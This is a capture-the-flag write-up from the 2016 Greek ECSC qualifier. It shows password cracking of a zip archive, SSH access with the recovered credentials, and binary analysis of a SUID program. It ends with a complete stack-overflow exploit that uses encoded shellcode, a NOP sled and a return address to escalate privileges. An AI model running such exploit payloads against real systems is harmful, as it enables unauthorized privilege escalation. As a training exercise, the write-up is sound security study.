Category: Reverse Engineering

Note: You can download the Reverse Engineering Challenge, along with all the challenges for the 2016 Greek Qualifier CTF of European Cybersecurity Challenge, in this link. More details on the Greek ECSC 2016 Qualifier CTF event can be found here.

Points: 60

Challenge designer: Gavriil

Description: > SilkRoad is back. A vendor on the online marketplace Silk Road, learned that he was not as anonymous as he thought he was while facilitating transactions. In February of 2014, he was arrested by Department of Homeland agents and was subsequently charged with narcotics trafficking, gun theft, and counterfeiting related crimes. One of his friends though managed to escape arrest and had already created SilkRoad 3.0. A secret agent who is helping you, found out this suspicious IP Address (IP of the game). Your mission is to steal the litecoins (flag) he possess which are located under his home directory. Agent is sure that he is user ulbricht of the host. Good luck !!!

Write-up

First we try to connect to the http service (port 80) with the following result.

Silk Road Logo

This does not indicate anything by itself so lets take a look at the actual source code of the web page.

<html>
<title> Welcome to SilkRoad 2.0 </title>
<center><img src="silk-road-logo.jpg"> </center>
<!-- c2lsa3JvYWQudHh0== -->
</html>

Here is something interesting we have an HTML comment with a base64 encoded string, after we decode the string we get silkroad.txt and after we try it within the browser we get another directory /silkroad2.0/ with the following contents.

After we download the file we see that the archive is password protected but after some brute force.

fcrackzip connect.zip --dictionary -u -p rockyou.txt

We got the password silkroad and decompress the archive resulting with a ConnectionDetails.txt with the following contents.

Username: silk
Password: <hidden>

So we try to connect to the SSH service using the credentials we found earlier.

We notice that there is a SUID binary owned by user ulbricht – let’s analyze the file.

[email protected]:~$ ls -lah
total 32K
drwxr-xr-x 2 silk     silk     4.0K Aug 28 15:34 .
drwxr-xr-x 4 root     root     4.0K May 15 11:47 ..
-rw------- 1 silk     silk       52 May 15 12:21 .bash_history
-rw-r--r-- 1 silk     silk      220 May 15 06:24 .bash_logout
-rw-r--r-- 1 silk     silk     3.5K May 15 06:24 .bashrc
-rwsr-xr-x 1 ulbricht ulbricht 5.4K May 15 11:52 buyLTC
-rw-r--r-- 1 silk     silk      675 May 15 06:24 .profile
[email protected]:~$ file buyLTC
buyLTC: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b5d681e2af95fa37fcb4805fd828edfc041959b2, not stripped

As we further analyze the binary we see that it has the No Execute flag on.

[email protected]:~# checksec buyLTC
[*] '/root/buyLTC'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

At first we thought that we need to actually create ROP chains to exploit any existing vulnerabilities but in the end that was not the case.

The system containing the ELF is not PAE|NX capable. We can verify this by issuing:

[email protected]:~$ grep ^flags /proc/cpuinfo | head -n1 | egrep --color=auto ' (pae|nx) '

Now that we know the protections deployed within the binary we need to know what kind of functions it uses, included strings and the main entry point (debug symbols were present).

As we see there are some interesting strings:

[email protected]:~# strings ./buyLTC
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
strcpy
printf
atoi
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
Total cost: %.2f euro
333333
;*2$"
GCC: (Debian 4.9.2-10) 4.9.2
GCC: (Debian 4.8.4-1) 4.8.4
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
__JCR_LIST__
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
completed.6279
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
buyLTC.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
data_start
[email protected]@GLIBC_2.0
convert
_edata
_fini
remove_bad_chars
[email protected]@GLIBC_2.0
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
[email protected]@GLIBC_2.0
__libc_csu_init
_end
_start
_fp_hw
__bss_start
main
_Jv_RegisterClasses
[email protected]@GLIBC_2.0
__TMC_END__
_ITM_registerTMCloneTable
_init

We see that the binary uses strcpy (maybe vulnerable?) we see the main entry point, a very interesting function remove_bad_chars.

[email protected]:~# nm ./buyLTC
         U [email protected]@GLIBC_2.0
08049870 B __bss_start
08049870 b completed.6279
0804845b T convert
08049868 D __data_start
08049868 W data_start
080483a0 t deregister_tm_clones
08048410 t __do_global_dtors_aux
08049754 t __do_global_dtors_aux_fini_array_entry
0804986c D __dso_handle
0804975c d _DYNAMIC
08049870 D _edata
08049874 B _end
080485d4 T _fini
080485e8 R _fp_hw
08048430 t frame_dummy
08049750 t __frame_dummy_init_array_entry
0804874c r __FRAME_END__
08049848 d _GLOBAL_OFFSET_TABLE_
         w __gmon_start__
080482d4 T _init
08049754 t __init_array_end
08049750 t __init_array_start
080485ec R _IO_stdin_used
         w _ITM_deregisterTMCloneTable
         w _ITM_registerTMCloneTable
08049758 d __JCR_END__
08049758 d __JCR_LIST__
         w _Jv_RegisterClasses
080485d0 T __libc_csu_fini
08048560 T __libc_csu_init
         U [email protected]@GLIBC_2.0
080484f3 T main
         U [email protected]@GLIBC_2.0
080483d0 t register_tm_clones
080484ab T remove_bad_chars
08048360 T _start
         U [email protected]@GLIBC_2.0
08049870 D __TMC_END__
08048390 T __x86.get_pc_thunk.bx

Finally we can start by loading the binary to a debugger and check its logic. The actual code is minimal, it uses 2 functions remove_bad_chars and convert.

remove_bad_chars is used to filter one character in the input argument 0x41 (A in ascii table).

convert is used to copy the input argument to a new char array with size 0x218 then pass the result to atoi multiply it by 3.65 and return the result as a double.

We know that we have a Stack-based Buffer Overflow in argv[0] when the input is above 536 bytes, and we also know 0x41 is a bad character.

After some tries we manage to rewrite the Extended Instruction Pointer at 544 bytes offset.

With the above knowledge we constructed our exploit:

/home/silk/buyLTC `python -c 'print "\xda\xc4\xd9\x74\x24\xf4\x5d\xba\x52\x7c\xee\xef\x29\xc9\xb1\x0b\x31\x55\x1a\x03\x55\x1a\x83\xed\xfc\xe2\xa7\x16\xe5\xb7\xde\xb5\x9f\x2f\xcd\x5a\xe9\x57\x65\xb2\x9a\xff\x75\xa4\x73\x62\x1c\x5a\x05\x81\x8c\x4a\x1d\x46\x30\x8b\x31\x24\x59\xe5\x62\xdb\xf1\xf9\x2b\x48\x88\x1b\x1e\xee"+"\x90"*470+"\xe0\xf2\xff\xbf"'`

The flag is: > Nice job mate!

# echo 7eamnull

Share This

Share this post with your friends!